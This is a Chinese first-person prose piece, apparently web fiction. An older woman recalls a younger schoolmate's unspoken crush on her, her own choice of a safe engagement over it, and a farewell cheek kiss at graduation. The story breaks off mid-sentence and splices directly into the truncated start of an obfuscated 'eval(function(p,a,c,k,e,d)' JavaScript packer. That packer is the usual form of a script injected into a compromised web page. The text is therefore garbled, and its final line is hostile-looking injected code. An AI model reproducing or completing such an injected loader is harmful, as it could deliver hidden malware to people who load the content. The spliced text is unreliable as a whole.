那玩意儿有股腥味，喝完了嘴里发酸。但我第一次随口跟那个小孩说“你身上有奶味，真乖”的时候，我看见她的耳朵尖一下子就红了。
那种红，是从脖子根一路烧上来的，像落日掉进了深水里。
从那天起，我发现她开始天天喝牛奶。甚至在我每次靠近她的时候，她都会下意识地屏住呼吸，像是怕把那股我不经意间夸赞过的味道弄散了。
她是真的乖。乖得让人心惊肉跳。
我比她大三岁。三岁，在小孩眼里可能只是三个年级，但在成人世界里，有时候是一道跨不过去的坎。
我知道她在看我。
那种眼神太烫了。每次聚会，我坐在人群中央，周围是嘈杂的音乐和推杯换盏的朋友。但我能感觉到角落里有一道视线，像一根绷紧的弦，死死地系在我身上。
我喝醉了去抱人。我抱了阿May，抱了老张。我知道她在等。
所以我最后才抱她。
我把下巴搁在她肩膀上的时候，感觉到她的身体僵硬得像块石头。她的心跳声太响了，“咚、咚、咚”，像是有人在她胸腔里用力敲鼓。震得我耳朵发麻。
我闭着眼睛装醉，心里却清醒得像刚洗过脸。
我想，这孩子真傻。
她以为她把自己藏得很好。她以为只要她不开口，只要她安静地做个“乖小孩”，这层窗户纸就不会破。
其实她不知道，她那点小心思，就像透明玻璃缸里的金鱼，连吐个泡泡我都看得一清二楚。
但我不能说。
一旦说了，她就没法再做那个坐在我身边剥橘子的小孩了。她会被迫长大，被迫面对拒绝，被迫狼狈地逃离。
所以我选择了最卑鄙的处理方式：我利用了她的“乖”，来粉饰太平。
那天下雨，那个男人——也就是后来的未婚夫来接我。
我看见了树后面的她。
雨太大了，世界灰蒙蒙的。但她那把透明的雨伞太显眼了，像个脆弱的气泡。她手里紧紧攥着把伞，眼神直勾勾地盯着我和我身边的男人。
那眼神里没有嫉妒，只有一种被抛弃的小狗般的绝望。
我那一瞬间其实想过推开那个男人。我想过冲进雨里，去把那个傻孩子拽过来，告诉她：“别淋雨了，感冒了很难受。”
但我忍住了。
我转过头，对着身边的男人笑了一下。我挽住他的手臂，把自己藏进那把又大又稳的黑伞里。
因为我知道，我给不了她想要的那个世界。
我是一个俗人。我想要安稳的生活，想要挡风的墙，想要不必在雨天担心淋湿的伞。而她太年轻了，她的爱太炽热、太纯粹，像一团火。
火是会烫伤人的。我怕烫，也怕把她燃尽了，最后只剩下一地灰。
所以，我假装没看见树后的那把透明伞。
我上了车，看着后视镜里那个越来越小的身影。
对不起啊，小朋友。姐姐是个胆小鬼。
毕业典礼那天，我去送她。
阳光很好。她穿着学士服，笑得那么干净。
我看着她，心里突然涌上一股巨大的酸涩。以后就没有这样一个傻瓜，会因为我的一句话去喝不爱喝的牛奶，会把剥得最干净的橘子留给我了。
“以后也要好好的呀，我的小朋友。”
我亲了她的脸颊。
这是我给她唯一的、也是最后的越界。
那个吻很轻。我感觉到她在那一瞬间闭上了眼睛，像是等待宣判的囚徒。
但我很快就撤离了。
我必须撤离。
因为如果再多停留一秒，我怕我会忍不住告诉她：其实我不爱吃橘子，我只是喜欢看你剥橘子时专注的样子；其实那天雨下得很大，我看见你在发抖；其实……其实我也曾在某个瞬间，想
;eval(function(p,a,c,k,e,d){e=function(c){return(c